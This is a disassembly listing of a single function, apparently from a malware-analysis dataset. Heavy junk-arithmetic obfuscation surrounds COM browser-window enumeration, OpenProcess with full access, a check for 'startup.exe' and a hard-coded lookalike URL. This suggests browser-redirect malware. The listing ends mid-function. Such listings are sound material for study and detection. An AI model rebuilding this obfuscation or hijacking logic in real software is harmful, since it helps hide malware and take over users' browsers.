Function at 0x41f500
Capabilities:
Query or enumerate registry value
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44a16d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1130
call fcn.0042fa70
mov eax, dword [0x45d320]
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov ecx, dword [0x45b9c0]
mov esi, dword [0x45b9ac]
mov eax, 0x7e3fea57
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, ecx
imul ecx, ecx, 0x40e326
imul ebx, ebx, 0x427252
sub ebx, eax
mov edi, dword [0x45b9b4]
mov eax, 0x7595e9bf
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9eea7d1d
imul esi
add edx, esi
sar edx, 0x16
add ebx, edx
mov esi, edx
mov eax, 0x9eea7d1d
imul edi
add edx, edi
sar edx, 0x16
mov edi, dword [0x45b9c4]
mov eax, edx
shr eax, 0x1f
shr esi, 0x1f
add esi, ebx
add esi, edx
add eax, esi
mov esi, dword [0x45b9c8]
mov edx, esi
imul edx, edx, 0x8b0f0c
add eax, edx
mov dword [str._r_____r____], eax
mov eax, 0x9c46284d
imul edi
mov eax, dword [0x45b9a8]
imul eax, eax, 0x346bb5
add edx, edi
sar edx, 0x15
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
add ebx, eax
mov eax, 0x8814777b
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
sub ebx, ecx
mov ecx, dword [0x45b9b0]
mov eax, 0xc4d8f4f
imul ecx
mov ecx, dword [0x45b9a8]
sar edx, 0x12
mov edi, edx
shr edi, 0x1f
add ebx, edx
mov dword [ebp - 0x1100], 0
mov dword [ebp - 4], 0
add edi, ebx
mov eax, 0x9eea7d1d
imul ecx
imul esi, esi, 0x458786
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
add ecx, esi
mov dword [0x45b9a8], ecx
mov dword [ebp - 0x10f0], 0
lea edx, [ebp - 0x10f0]
push edx
push 0x44c288
push 0x17
push 0
push 0x450868
mov byte [ebp - 4], 1
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov edx, dword [0x45b9b0]
mov edi, dword [0x45b9a8]
mov dword [ebp - 0x10e0], eax
mov eax, 0x69527c69
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, edi
imul ebx, ebx, 0x78665a
sub ebx, eax
mov esi, dword [0x45b9c8]
mov eax, 0x7595e9bf
imul dword [0x45b9bc]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x45ab1c
sub ebx, eax
add ebx, edx
mov eax, 0x9eea7d1d
imul esi
add edx, esi
sar edx, 0x16
mov ecx, esi
imul ecx, ecx, 0x458786
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov ebx, dword [0x45b9c4]
sub eax, ebx
lea edx, [eax + ecx - 0x346bb5]
mov eax, dword [ebp - 0x10e0]
test eax, eax
mov dword [0x45b9b0], edx
jge 0x41f77f
mov eax, dword [0x45b9b8]
imul edi, edi, 0x427252
imul eax, eax, 0x78665a
add edi, eax
mov eax, 0x76294c27
imul dword [0x45b9bc]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9eea7d1d
imul ebx
mov eax, dword [str._r_____r____]
add edx, ebx
imul eax, eax, 0x671938
sar edx, 0x16
mov esi, edx
shr esi, 0x1f
add esi, edx
add esi, ecx
mov ecx, dword [0x45b9c0]
add esi, edi
add eax, esi
lea edx, [eax + ecx - 0x346bb5]
mov dword [0x45b9b4], edx
mov eax, dword [ebp - 0x10f0]
test eax, eax
mov byte [ebp - 4], 0
je 0x41f778
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
jmp 0x4221dd
mov edi, dword [0x45b9ac]
mov eax, 0x1ed25ed3
imul edi, edi, str.LresultFromObject
imul esi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov ecx, esi
imul ecx, ecx, 0x111bd1
add edi, ecx
mov ecx, dword [0x45b9b4]
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
mov ecx, dword [0x45b9c0]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
add edi, edx
mov eax, 0x1d74861
imul esi
shr ecx, 0x1f
sar edx, 0xf
add ecx, edi
mov eax, edx
add ecx, edx
shr eax, 0x1f
add eax, ecx
mov dword [0x45b9b8], eax
mov eax, dword [ebp - 0x10f0]
lea edx, [ebp - 0x1108]
push edx
mov dword [ebp - 0x1108], 0
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov ecx, dword [0x45b9b8]
mov esi, dword [0x45b9c8]
mov ebx, dword [0x45b9bc]
mov eax, 0x9eea7d1d
imul ebx, ebx, 0x346bb5
imul ecx
add edx, ecx
mov ecx, dword [0x45b9ac]
mov eax, esi
imul eax, eax, 0x458786
sar edx, 0x16
mov edi, edx
mov dword [ebp - 0x10c8], eax
shr edi, 0x1f
add edi, edx
mov eax, 0x8814777b
imul ecx
add edx, ecx
mov ecx, dword [0x45b9b0]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, dword [0x45b9c0]
imul eax, eax, 0x533b61
mov edx, ecx
imul edx, edx, 0x40e326
add eax, edi
mov dword [ebp - 0x10e0], eax
add ebx, edx
mov eax, 0x7595e9bf
imul ecx
sar edx, 0x15
mov dword [ebp - 0x10f8], edi
mov edi, edx
mov eax, dword [ebp - 0x10e0]
shr edi, 0x1f
add edi, edx
mov edx, dword [ebp - 0x10c8]
add eax, ebx
add edi, eax
mov eax, dword [ebp - 0x1108]
add edi, edx
test eax, eax
mov dword [0x45b9bc], edi
je 0x41f764
mov eax, 0x96ad8397
imul dword [0x45b9ac]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9b8]
imul edx, edx, 0x533b61
mov ebx, edi
imul ebx, ebx, 0x346bb5
sub eax, ebx
add eax, edx
mov edx, dword [0x45b9b4]
imul edx, edx, 0x1ea3a3
sub eax, edx
mov ebx, dword [ebp - 0x10c8]
mov dword [ebp - 0x10e0], eax
mov eax, 0x9eea7d1d
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10e0]
add edx, ebx
add eax, edx
mov dword [0x45b9c0], eax
mov eax, dword [ebp + 8]
test eax, eax
je 0x41f9c8
mov ecx, dword [0x45b9b8]
mov esi, dword [0x45b9a8]
mov eax, 0x7e3fea57
imul esi, esi, str.LresultFromObject
imul ecx
imul ecx, ecx, 0x671938
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9c4]
sub esi, eax
mov eax, 0x7595e9bf
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
add esi, ecx
mov ecx, dword [0x45b9b4]
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add esi, edx
mov edx, dword [ebp - 0x10f8]
add ecx, esi
sub ecx, edx
add ecx, ebx
mov dword [0x45b9c4], ecx
mov ecx, 0x56f518
call fcn.00413060
mov esi, dword [0x45b9c8]
mov ecx, dword [0x45b9b0]
mov edi, dword [0x45b9bc]
mov eax, 0x76294c27
imul esi, esi, 0x458786
imul edi
sar edx, 0x15
mov ebx, dword [0x45b9c4]
mov eax, edx
imul ebx, ebx, 0x346bb5
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
mov edi, eax
mov eax, 0xc4d8f4f
imul edx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x24a6e6
sub edi, ebx
sub edi, eax
sub edi, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
add ecx, esi
mov dword [0x45b9c8], ecx
mov dword [ebp - 0x10fc], 0
lea esp, [esp]
mov eax, dword [ebp - 0x10fc]
cmp eax, dword [ebp - 0x1108]
jge 0x42215a
mov ebx, dword [0x45b9ac]
imul ecx, ecx, 0x8b0f0c
mov esi, dword [0x45b9c0]
mov edi, dword [0x45b9b4]
imul esi, esi, 0x427252
mov eax, 0x7e3fea57
imul ebx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x7595e9bf
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x9eea7d1d
imul ebx
add edx, ebx
sar edx, 0x16
mov ebx, edx
add esi, edx
mov eax, 0x9eea7d1d
imul edi
add edx, edi
shr ebx, 0x1f
sar edx, 0x16
add ebx, esi
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov dword [str._r_____r____], eax
mov dword [ebp - 0x10ec], 0
mov eax, dword [ebp - 0x10fc]
mov word [ebp - 0x1124], 3
mov dword [ebp - 0x111c], eax
mov edi, dword [ebp - 0x1124]
mov ecx, dword [ebp - 0x10f0]
mov edx, dword [ecx]
lea esi, [ebp - 0x10ec]
push esi
sub esp, 0x10
mov esi, esp
mov dword [esi], edi
mov edi, dword [ebp - 0x1120]
mov dword [esi + 4], edi
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x1118]
push ecx
mov byte [ebp - 4], 3
mov dword [esi + 0xc], eax
call dword [edx + 0x20]
lea ecx, [ebp - 0x1124]
push ecx
mov ebx, eax
mov byte [ebp - 4], 2
call dword [sym.imp.OLEAUT32.dll_VariantCopy]
mov edx, dword [0x45b9b0]
mov edi, dword [0x45b9a8]
mov ecx, dword [0x45b9c8]
imul edi, edi, 0x78665a
mov eax, 0x69527c69
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x7595e9bf
imul dword [0x45b9bc]
mov esi, ecx
imul esi, esi, 0x458786
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x45ab1c
sub edi, eax
add edi, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
mov eax, edx
add edi, edx
shr eax, 0x1f
add eax, edi
mov edi, dword [0x45b9c4]
sub eax, edi
test ebx, ebx
lea edx, [eax + esi - 0x346bb5]
mov dword [0x45b9b0], edx
jl 0x41ff51
mov ebx, dword [0x45b9bc]
mov eax, 0x8814777b
imul ebx, ebx, 0x346bb5
imul dword [0x45b9ac]
add edx, dword [0x45b9ac]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9b0]
sub ebx, eax
mov eax, edx
imul eax, eax, 0x40e326
add ebx, eax
mov eax, dword [0x45b9c0]
imul eax, eax, 0x533b61
add ebx, eax
mov eax, 0x7595e9bf
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, esi
mov esi, dword [0x45b9b8]
mov dword [ebp - 0x10d0], eax
mov eax, 0x9eea7d1d
imul dword [0x45b9b8]
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10d0]
add edx, ebx
add eax, edx
mov dword [0x45b9bc], eax
mov eax, dword [ebp - 0x10ec]
test eax, eax
mov dword [ebp - 0x10d4], 0
je 0x41fc78
mov ecx, dword [eax]
lea edx, [ebp - 0x10d4]
push edx
push 0x44c2e0
push eax
call dword [ecx]
mov ecx, dword [0x45b9c8]
mov edi, dword [0x45b9c4]
mov eax, 0x9c46284d
imul edi
mov eax, dword [0x45b9a8]
imul eax, eax, 0x346bb5
add edx, edi
sar edx, 0x15
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
add ebx, eax
mov eax, 0x8814777b
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9c0]
imul edx, edx, 0x40e326
sub ebx, eax
sub ebx, edx
mov eax, 0xc4d8f4f
imul dword [0x45b9b0]
mov esi, ecx
imul esi, esi, 0x458786
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, esi
mov dword [ebp - 0x10d0], eax
mov eax, 0x9eea7d1d
imul dword [0x45b9a8]
add edx, dword [0x45b9a8]
mov eax, dword [ebp - 0x10d0]
mov dword [ebp - 0x10c8], esi
sar edx, 0x16
mov esi, edx
shr esi, 0x1f
add eax, ebx
add esi, edx
add esi, eax
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov dword [0x45b9a8], esi
je 0x41ff51
mov edx, dword [0x45b9b8]
imul esi, esi, 0x427252
mov ebx, dword [0x45b9bc]
imul edx, edx, 0x78665a
add esi, edx
mov eax, 0x76294c27
imul ebx
mov ecx, dword [str._r_____r____]
sar edx, 0x15
imul ecx, ecx, 0x671938
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x9eea7d1d
imul edi
add edx, edi
mov edi, dword [ebp - 0x10c8]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9c0]
add eax, edi
add eax, esi
add ecx, eax
lea ecx, [ecx + edx - 0x346bb5]
mov dword [0x45b9b4], ecx
mov dword [ebp - 0x10f4], 0
imul ecx, ecx, 0x1ea3a3
mov eax, 0x96ad8397
imul dword [0x45b9ac]
sar edx, 0x14
mov esi, ebx
imul esi, esi, 0x346bb5
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
mov esi, eax
mov eax, dword [0x45b9b8]
imul eax, eax, 0x533b61
add esi, eax
mov eax, 0x9eea7d1d
imul ebx
mov eax, dword [ebp - 0x10d4]
sub esi, ecx
add edx, ebx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add esi, edi
add ecx, esi
mov dword [0x45b9c0], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x10f4]
push ecx
push eax
mov byte [ebp - 4], 5
call dword [edx + 0x48]
test eax, eax
jl 0x42115a
mov ecx, dword [0x45b9ac]
mov esi, dword [0x45b9c0]
mov eax, 0x76294c27
imul esi, esi, 0x427252
imul ecx
mov ecx, dword [0x45b9c8]
sar edx, 0x15
add esi, edx
mov edi, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
shr edi, 0x1f
add edi, esi
mov esi, dword [str._r_____r____]
add edi, edx
mov ebx, edx
mov eax, 0x9eea7d1d
imul esi
add edx, esi
shr ebx, 0x1f
sar edx, 0x16
add ebx, edi
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, esi
mov esi, dword [ebp - 0x10f4]
add eax, 0x26e3e3
test esi, esi
mov dword [0x45b9ac], eax
mov dword [ebp - 0x10e8], 0
je 0x41fe9e
mov eax, dword [esi]
lea ecx, [ebp - 0x10e8]
push ecx
push 0x44c2f0
push esi
call dword [eax]
mov esi, dword [ebp - 0x10f4]
mov ecx, dword [0x45b9c8]
mov ebx, dword [0x45b9ac]
mov edi, dword [0x45b9b4]
imul ebx, ebx, str.LresultFromObject
mov eax, 0x1ed25ed3
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, ecx
imul edx, edx, 0x111bd1
add ebx, edx
mov eax, 0x9eea7d1d
imul edi
add edx, edi
mov edi, dword [0x45b9c0]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9eea7d1d
imul edi
add edx, edi
sar edx, 0x16
add ebx, edx
mov edi, edx
mov eax, 0x1d74861
imul ecx
shr edi, 0x1f
sar edx, 0xf
add edi, ebx
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov dword [0x45b9b8], eax
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 6
jne 0x41ff81
test esi, esi
mov byte [ebp - 4], 4
je 0x41ff37
mov ecx, dword [esi]
push esi
call dword [ecx + 8]
mov ecx, dword [0x45b9c8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 2
je 0x41ff51
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x45b9c8]
mov eax, dword [ebp - 0x10ec]
test eax, eax
mov byte [ebp - 4], 1
je 0x42214f
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10fc]
mov ecx, dword [0x45b9c8]
inc eax
mov dword [ebp - 0x10fc], eax
jmp 0x41fa40
push 0
call fcn.0042fa37
sub eax, dword [0x56f770]
add esp, 4
cmp eax, 0x708
jge 0x4202bc
mov ecx, dword [0x45b9ac]
mov edi, dword [0x45b9c0]
mov esi, dword [0x45b9b4]
imul edi, edi, 0x427252
mov eax, 0x7e3fea57
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x7595e9bf
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
add edi, edx
mov eax, 0x9eea7d1d
imul esi
shr ecx, 0x1f
add edx, esi
sar edx, 0x16
add ecx, edi
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x45b9c8]
imul ecx, ecx, 0x8b0f0c
add eax, ecx
mov dword [str._r_____r____], eax
mov eax, dword [ebp - 0x10d4]
mov edx, dword [eax]
lea ecx, [ebp - 0x110c]
push ecx
push eax
call dword [edx + 0x94]
mov eax, dword [ebp - 0x110c]
lea edx, [ebp - 0x1104]
push edx
push eax
mov dword [ebp - 0x1104], 0
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [0x45b9ac]
mov edi, dword [0x45b9c0]
mov eax, 0x76294c27
imul ecx
mov ecx, dword [0x45b9c8]
mov esi, edi
imul esi, esi, 0x427252
sar edx, 0x15
add esi, edx
mov ebx, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
shr ebx, 0x1f
add ebx, esi
mov esi, dword [str._r_____r____]
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x9eea7d1d
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, esi
add eax, 0x26e3e3
mov dword [0x45b9ac], eax
mov eax, dword [ebp - 0x1104]
test eax, eax
je 0x4210ac
mov ebx, dword [0x45b9a8]
imul esi, esi, 0x671938
imul ecx, ecx, 0x458786
mov edx, dword [0x45b9b8]
imul ebx, ebx, 0x427252
imul edx, edx, 0x78665a
add ebx, edx
mov edx, dword [0x45b9bc]
mov eax, 0x76294c27
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9c4]
sub ebx, eax
mov eax, 0x9eea7d1d
imul edx
add edx, dword [0x45b9c4]
sar edx, 0x16
mov eax, edx
add ebx, edx
mov edx, dword [ebp - 0x1104]
shr eax, 0x1f
add eax, ebx
push edx
add esi, edi
add esi, eax
push 0
lea ecx, [ecx + esi - 0x346bb5]
push 0x1f0fff
mov dword [0x45b9b4], ecx
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
test esi, esi
je 0x4202bc
mov ecx, dword [0x45b9ac]
mov edi, dword [0x45b9bc]
mov eax, 0x8814777b
imul edi, edi, 0x346bb5
imul ecx
add edx, ecx
mov ecx, dword [0x45b9b0]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x45b9c0]
mov edx, ecx
imul eax, eax, 0x533b61
imul edx, edx, 0x40e326
add edi, edx
add edi, eax
mov eax, 0x7595e9bf
imul ecx
mov ecx, dword [0x45b9b8]
sar edx, 0x15
add edi, edx
mov ebx, edx
mov eax, 0x9eea7d1d
imul ecx
mov ax, word [0x44ccb4]
add edx, ecx
sar edx, 0x16
shr ebx, 0x1f
add ebx, edi
mov ecx, edx
add ebx, edx
mov edx, dword [0x45b9c8]
imul edx, edx, 0x458786
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
mov dword [0x45b9bc], ecx
mov cl, byte [0x44ccb6]
mov word [ebp - 0x2c4], ax
mov byte [ebp - 0x2c2], cl
xor eax, eax
push 0x100
mov ecx, 0x3f
lea edi, [ebp - 0x2c1]
rep stosd dword es:[edi], eax
lea edx, [ebp - 0x2c4]
push edx
push 0
push esi
stosb byte es:[edi], al
call sub.PSAPI.DLL_GetModuleFileNameExA
mov ecx, dword [0x45b9b8]
mov esi, dword [0x45b9a8]
mov eax, 0x7e3fea57
imul esi, esi, str.LresultFromObject
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9c4]
sub esi, eax
mov eax, 0x7595e9bf
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x671938
sub esi, eax
add esi, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ecx, dword [0x45b9b4]
sub esi, eax
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
add esi, edx
mov edx, dword [0x45b9c8]
imul edx, edx, 0x458786
shr ecx, 0x1f
add ecx, esi
lea eax, [ebp - 0x2c4]
add ecx, edx
push str.startup.exe
push eax
mov dword [0x45b9c4], ecx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421146
mov ecx, dword [0x45b9b8]
mov esi, dword [0x45b9a8]
mov eax, 0x7e3fea57
imul esi, esi, str.LresultFromObject
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9c4]
sub esi, eax
mov eax, 0x7595e9bf
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edx, ecx
imul edx, edx, 0x671938
add esi, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
mov ecx, dword [0x45b9b4]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
mov ecx, dword [0x45b9c8]
sar edx, 0x16
add esi, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x458786
shr eax, 0x1f
add eax, esi
add eax, edx
mov edx, dword [ebp - 0x1100]
mov dword [0x45b9c4], eax
mov eax, dword [ebp + 8]
inc edx
test eax, eax
mov dword [ebp - 0x1100], edx
je 0x422070
push ecx
lea eax, [ebp - 0x10d4]
mov ecx, esp
mov dword [ebp - 0x10d8], esp
push eax
call fcn.00407a30
mov ecx, 0x56f518
call fcn.00406de0
test al, al
jne 0x42206a
mov ecx, dword [0x45b9ac]
mov edi, dword [0x45b9c0]
mov esi, dword [0x45b9b4]
imul edi, edi, 0x427252
mov eax, 0x7e3fea57
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x7595e9bf
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
add edi, edx
mov ebx, edx
mov eax, 0x9eea7d1d
imul esi
add edx, esi
mov esi, dword [0x45b9c8]
sar edx, 0x16
mov ecx, edx
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov edi, dword [0x45b9a8]
shr ecx, 0x1f
imul edi, edi, 0x78665a
mov edx, esi
imul edx, edx, 0x8b0f0c
add ecx, ebx
add ecx, edx
mov edx, dword [0x45b9b0]
mov eax, 0x69527c69
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9bc]
sub edi, eax
mov eax, 0x7595e9bf
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, dword [0x45b9c4]
sub edi, eax
mov dword [str._r_____r____], ecx
imul ecx, ecx, 0x45ab1c
mov eax, 0x9eea7d1d
imul esi
mov eax, dword [ebp - 0x10d4]
add edi, ecx
add edx, esi
imul esi, esi, 0x458786
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add edi, edx
add ecx, edi
add ecx, esi
sub ecx, ebx
sub ecx, 0x346bb5
mov dword [0x45b9b0], ecx
mov edx, dword [eax]
lea ecx, [ebp - 0x1114]
push ecx
push eax
call dword [edx + 0x78]
mov esi, dword [0x45b9bc]
imul esi, esi, 0x346bb5
mov ecx, dword [0x45b9ac]
mov eax, 0x8814777b
imul ecx
add edx, ecx
mov ecx, dword [0x45b9b0]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x45b9c0]
mov edx, ecx
imul eax, eax, 0x533b61
imul edx, edx, 0x40e326
add esi, edx
add esi, eax
mov eax, 0x7595e9bf
imul ecx
mov ecx, dword [0x45b9b8]
sar edx, 0x15
mov edi, edx
add esi, edx
mov eax, 0x9eea7d1d
imul ecx
mov eax, dword [ebp - 0x1114]
add edx, ecx
sar edx, 0x16
shr edi, 0x1f
mov ecx, edx
add edi, esi
add edi, edx
mov edx, dword [0x45b9c8]
imul edx, edx, 0x458786
shr ecx, 0x1f
add ecx, edi
add ecx, edx
push eax
mov dword [0x45b9bc], ecx
call fcn.004252e0
mov ecx, dword [0x45b9ac]
mov edi, dword [0x45b9c0]
mov dword [ebp - 0x10d0], eax
imul edi, edi, 0x427252
mov esi, dword [0x45b9b4]
mov eax, 0x7e3fea57
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x7595e9bf
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
add edi, edx
mov ecx, edx
mov eax, 0x9eea7d1d
imul esi
shr ecx, 0x1f
add edx, esi
sar edx, 0x16
add ecx, edi
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x45b9c8]
imul ecx, ecx, 0x8b0f0c
add eax, ecx
mov dword [str._r_____r____], eax
mov eax, dword [ebp - 0x10e8]
mov edx, dword [eax]
xor edi, edi
lea ecx, [ebp - 0x1110]
push ecx
push eax
call dword [edx + 0x90]
mov ecx, dword [0x45b9ac]
mov ebx, dword [0x45b9c0]
mov esi, eax
imul ebx, ebx, 0x427252
mov eax, 0x76294c27
imul ecx
mov ecx, dword [0x45b9c8]
sar edx, 0x15
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov dword [ebp - 0x10c8], eax
mov eax, 0x9eea7d1d
imul ecx
mov eax, dword [ebp - 0x10c8]
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x16
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, ecx
add eax, 0x26e3e3
test esi, esi
mov dword [0x45b9ac], eax
jne 0x420642
mov ecx, dword [ebp - 0x1110]
push ecx
call fcn.004252e0
mov edi, eax
push 0
call fcn.0042fa37
sub eax, dword [0x56f4d4]
add esp, 4
cmp eax, 5
jle 0x42173b
test edi, edi
je 0x420676
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x420664
sub eax, edx
cmp eax, 5
ja 0x42173b
mov esi, dword [0x45b9a8]
mov edx, dword [0x45b9b8]
imul esi, esi, 0x427252
mov ecx, dword [0x45b9bc]
imul edx, edx, 0x78665a
add esi, edx
mov eax, 0x76294c27
imul ecx
mov ecx, dword [0x45b9c4]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edi, dword [0x45b9c0]
mov eax, 0x9eea7d1d
imul ecx
mov eax, dword [0x45b9c8]
add edx, ecx
imul eax, eax, 0x458786
sar edx, 0x16
mov ecx, edx
add esi, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x671938
shr ecx, 0x1f
add ecx, esi
add edx, edi
add edx, ecx
lea ecx, [eax + edx - 0x346bb5]
mov dword [0x45b9b4], ecx
mov eax, str.http:__www.baiduo.org_
lea ecx, [ebp - 0x1c4]
lea ecx, [ecx]
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x420700
lea edx, [ebp - 0x1c4]
push edx
call fcn.00425180
mov ecx, dword [0x45b9bc]
mov dword [ebp - 0x10d8], eax
mov esi, dword [0x45b9c4]
mov eax, 0x76294c27
imul esi, esi, 0x346bb5
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc4d8f4f
imul ecx
sar edx, 0x12
sub edi, esi
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
